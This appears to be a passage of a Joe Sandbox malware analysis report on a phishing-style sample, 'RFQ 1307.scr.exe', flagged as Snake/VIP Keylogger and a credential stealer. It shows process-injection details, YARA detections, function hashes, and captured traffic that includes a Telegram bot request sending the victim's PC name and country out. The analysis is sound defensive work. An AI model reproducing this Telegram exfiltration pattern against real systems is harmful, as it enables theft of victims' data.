2024-10-21 11:18:00 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:18:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49986	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:18:02 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 11:18:02 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:02 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35147 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zrTmt3szX8ADOz0vTYHfeBsN8%2F4s%2BBAJQtnVfUn9Mh1AET%2Ft8nS3f%2F7PXdDl0xJrz7U4s6rPdCjfHf78nBhgpBNqh8S2h4ESt9jGM1t3SM0jIcDzMkac7Gbay1LJ1iwEF9wyTYEs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d837cfb76b73-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1863&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1564559&cwnd=246&unsent_bytes=0&cid=f73b2728de0bb352&ts=156&x=0"
2024-10-21 11:18:02 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:18:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49988	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:18:05 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-21 11:18:05 UTC	898	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:05 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35150 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GTW%2BM9uj2ey3TT33bGlNBIpaaI0tJ29%2Frt9s756Ep0nzh8qFTD1q0iBWj5c10MMxO5YniyP3pIbSOrQsRNsFXSTO4UD9GCO7%2FW1TcMe9S9IH0DxcByLdhSJ%2BvvrgxGvE%2BbsN2rOr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d84c5db82c8e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1402&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2045197&cwnd=251&unsent_bytes=0&cid=5e8ad76f060722e9&ts=147&x=0"
2024-10-21 11:18:05 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:18:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49990	188.114.96.3	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:18:07 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-21 11:18:08 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 35153 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oHautj8mBiL7qquiu7ZU5H%2BSwcFWrxT%2F8lVdyxrK7L3pIic3C9s1I95DV%2Fv%2FWMDs9Jv5alqkEtAECI5ev0HWb0MqK9%2B%2BDXDhEeZqtB9bq%2B1gBzBkky7QPKMAfD%2BZoq7gnon1EGgs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d60d85bfdf46bea-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1372&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2258970&cwnd=251&unsent_bytes=0&cid=72ff109b379e2bba&ts=149&x=0"
2024-10-21 11:18:08 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 11:18:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49991	149.154.167.220	443	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:18:08 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:536720%0D%0ADate%20and%20Time:%2022/10/2024%20/%2001:16:48%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20536720%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-21 11:18:09 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 21 Oct 2024 11:18:09 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-21 11:18:09 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	07:17:13
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\RFQ 1307.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RFQ 1307.scr.exe"
Imagebase:	0xf50000
File size:	6'144 bytes
MD5 hash:	3F88227748D2BAA1ABFF19031BDE3950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1706854416.000000000382B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1719710459.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:17:48
Start date:	21/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xac0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2618358547.0000000003058000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Function 0164CE88 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41e083cb0f68503ff87914a24dd84528fff23162f12eb6bea1650b238c11fb3
Instruction ID: 262569a2edb46bd6257e47b5bf5210f2bb795cb5dbc51fca5e873ae9219399bd
Opcode Fuzzy Hash: e41e083cb0f68503ff87914a24dd84528fff23162f12eb6bea1650b238c11fb3
Instruction Fuzzy Hash: FAA2A275E00228CFDB65CF69C984A99BBB2FF89304F1581E9D509AB361DB319E81CF50

Function 0164E220 Relevance: .7, Instructions: 653COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123b34234441897aea23ef6f7742b5a39d6210ad5c9cd4a756161349daccf157
Instruction ID: f6fe1cf298c4eceb9d88d4620fc101f771a3e8b5b686447ed72361b4e6776569
Opcode Fuzzy Hash: 123b34234441897aea23ef6f7742b5a39d6210ad5c9cd4a756161349daccf157
Instruction Fuzzy Hash: EC426D34B00214CFDB15DF69C844A6A7BF2FF89311B2584A9D506DB3A1DB7ADC42CB51

Function 0164F380 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e47fa507d1b5f6577611eaeb74d97922055656adf76ebc2b8391ee368b44e40
Instruction ID: b26681f43be7c8c63f0725d9530cd25e5e7a204a7a8fce05184e5e6d1d8c5efd
Opcode Fuzzy Hash: 4e47fa507d1b5f6577611eaeb74d97922055656adf76ebc2b8391ee368b44e40
Instruction Fuzzy Hash: 04810A35A01618CFDB14DF69C884A9DBBF5FF88711B1581A9E906DB361DB30ED42CB90

Function 079DBBF8 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720213048.00000000079C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79c0000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edfe89819a6ab50dc0df5d753f08bb702fba6f55ef9e5af56016f47ad9c5a63
Instruction ID: 8c688b99bfa8067c95ed5f7e40e21bcc64aff9734539e35152f98dbd794f1448
Opcode Fuzzy Hash: 5edfe89819a6ab50dc0df5d753f08bb702fba6f55ef9e5af56016f47ad9c5a63
Instruction Fuzzy Hash: 758111B4E0121DCFDB44DFA8E498AADBBB6FB89304F10842AD506AB354DB705D42CF90

Function 01648E08 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb0c7028b34e6d3296dd02228cc83a54452e12dac75c0186e11d396edd4b7cbe
Instruction ID: 036229b04f7b09a12f5b7487ec01aa0ea1dc5b9a81b5b014a79ec278d1ef468b
Opcode Fuzzy Hash: bb0c7028b34e6d3296dd02228cc83a54452e12dac75c0186e11d396edd4b7cbe
Instruction Fuzzy Hash: 2E51D0B0D0934ACFE752DBA9C8587AD7FB5FB86300F0580E6C141AB2A2D7384949CB52

Function 01640868 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f67031f6c9b4e9d07a7cac9af5d82e7aabf9f780b4bd0f15ed2618405e16a1
Instruction ID: 0d9d91bc68bee231bfddbb5c36d8407baafdc6c4f183a94985672f7c527e2606
Opcode Fuzzy Hash: f5f67031f6c9b4e9d07a7cac9af5d82e7aabf9f780b4bd0f15ed2618405e16a1
Instruction Fuzzy Hash: 59311974B002198FEB14DBB8C854AAEB7F2FF88710F1144A9D516DB391EB35D841CBA0

Function 016409B8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74337fca288761812a6219a36f16c2726e6877a23890a7435c15534dd77ac959
Instruction ID: 4f81c23fdd266dc4ddaa405e9cb499a378d75269261ddebef69ff58d5a7a4fa6
Opcode Fuzzy Hash: 74337fca288761812a6219a36f16c2726e6877a23890a7435c15534dd77ac959
Instruction Fuzzy Hash: 9F3190307001259FCB45DBADD858AADBBE3BF89710F244029E806EB3A1CF755C418B95

Function 01641375 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed0b10b4822be76cd5d0a4930b1164d4aa6090b05bbca2a2a3a6ed95618c060
Instruction ID: 08ad2c90756cbd54f09c7d1acc820466d5c9198a85db432399a098af99e4f5d9
Opcode Fuzzy Hash: 4ed0b10b4822be76cd5d0a4930b1164d4aa6090b05bbca2a2a3a6ed95618c060
Instruction Fuzzy Hash: AA417AB0D00249DFDB10CFA9D894AEEBFF5AF48300F188029E545AB350D775A941CF90

Function 016409C8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a182b545c3113e47ee585eb8c8b20363fe1d72484929ec6f72a9876d2241073a
Instruction ID: 139ddc781d96441b27a75519d490157b71faafbe52fd36c42f4b03012157945f
Opcode Fuzzy Hash: a182b545c3113e47ee585eb8c8b20363fe1d72484929ec6f72a9876d2241073a
Instruction Fuzzy Hash: 30319E307001259FCB45AFADC864A9DBBE7BF89700F244469E806EB3A1CF755C418B95

Function 01648E80 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a6ce9dc81af296982360cd96eb4bc9551c7ce6e473f67f928512ac32f4913ee
Instruction ID: 096822521cea60e6fc27d04be9d424cbb239538235c9cbe5e0f88ae19594b226
Opcode Fuzzy Hash: 7a6ce9dc81af296982360cd96eb4bc9551c7ce6e473f67f928512ac32f4913ee
Instruction Fuzzy Hash: 123148B4D0520ADFEB54DFAAD8087AEBBB5FB85300F04C0A5D506AB391DB784A45CF81

Function 01648E90 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ea9854abd0bbb6e1d1105d5b31a6ed00caa92c31aad94ad429042e17539bbe0
Instruction ID: 3a7434021c3a55f342ba228f15b5c070f923a91a7d10bd74a4e3ca4474d627c5
Opcode Fuzzy Hash: 4ea9854abd0bbb6e1d1105d5b31a6ed00caa92c31aad94ad429042e17539bbe0
Instruction Fuzzy Hash: 8C3135B4D0520ACFEB54DF9AD8087AEBBB6FB89300F04C0A5D506A7391DB784945CF81

Function 01641380 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73699024484ef22a70218d9862732759d1cd17e505dc12b1ad68c9a1ef1c6f34
Instruction ID: 6951d3ff828e0b428965ca38acc0aebe0bb570e28fc3ad6c15564a21f742ab0a
Opcode Fuzzy Hash: 73699024484ef22a70218d9862732759d1cd17e505dc12b1ad68c9a1ef1c6f34
Instruction Fuzzy Hash: 26314870D01208DFDB10CFA9D990AEEBFF5AF48300F288029E549AB350DB75A941CB90

Function 0164CCD8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 815b39792ae4e1986bc6491b1d573d9d2d5ea54014d1b2945914b7cc7957e81a
Instruction ID: 5bbe62030483d32b2752c4d644acc6633fb2fbe4c77cf40e898a7b6d1cdfb06d
Opcode Fuzzy Hash: 815b39792ae4e1986bc6491b1d573d9d2d5ea54014d1b2945914b7cc7957e81a
Instruction Fuzzy Hash: F7210475E02209CBDB44DFA9C9187EEBBF2FB89300F10942AD515A7394DB781945CB91

Function 0155D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704422217.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db887b1e8955dfcdc821a18fffdc60aea7741fabaeeab516220a943b06461235
Instruction ID: e2f88347d5bc1f2abe98432ee3231f2a4fe6acfe462d664f551976ca9bf81b65
Opcode Fuzzy Hash: db887b1e8955dfcdc821a18fffdc60aea7741fabaeeab516220a943b06461235
Instruction Fuzzy Hash: 38212172500240DFDB41DF94C8D0B6ABFB5FB84314F24C5AAEC090E247C376E446CAA2

Function 0156D006 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704449131.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_156d000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f69090546040d168f41eb17cd081215392538a66e381a2771abc5991eb110836
Instruction ID: 053f143600e2f6434d8333ecad9bf49971c62fbd6bb61bda1fce7baba725b2ea
Opcode Fuzzy Hash: f69090546040d168f41eb17cd081215392538a66e381a2771abc5991eb110836
Instruction Fuzzy Hash: 37214D751093C09FCB03CF64D990756BF75BB46214F2985DBD8848F2A7C33A981ACBA2

Function 0156D030 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704449131.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_156d000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e04113197db0b9980d18126abed55bc6c6279e7ae7df2f6069d8a2f6de80588
Instruction ID: 7a3ca69ba9c661a92b63596d7eee00053fee5edec8c837af0b2435996ba2cc6f
Opcode Fuzzy Hash: 6e04113197db0b9980d18126abed55bc6c6279e7ae7df2f6069d8a2f6de80588
Instruction Fuzzy Hash: 5A212276604244DFDB11DF54D9C0B2ABBB9FB88324F24C969E8490F246D336D806CBE2

Function 01640859 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705112711.0000000001640000.00000040.00000800.00020000.00000000.sdmp, Offset: 01640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1640000_RFQ 1307.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ad46ebd05e5ede3ad0da46cbde660d750a522abc975d65514a8ae1b20ea326b
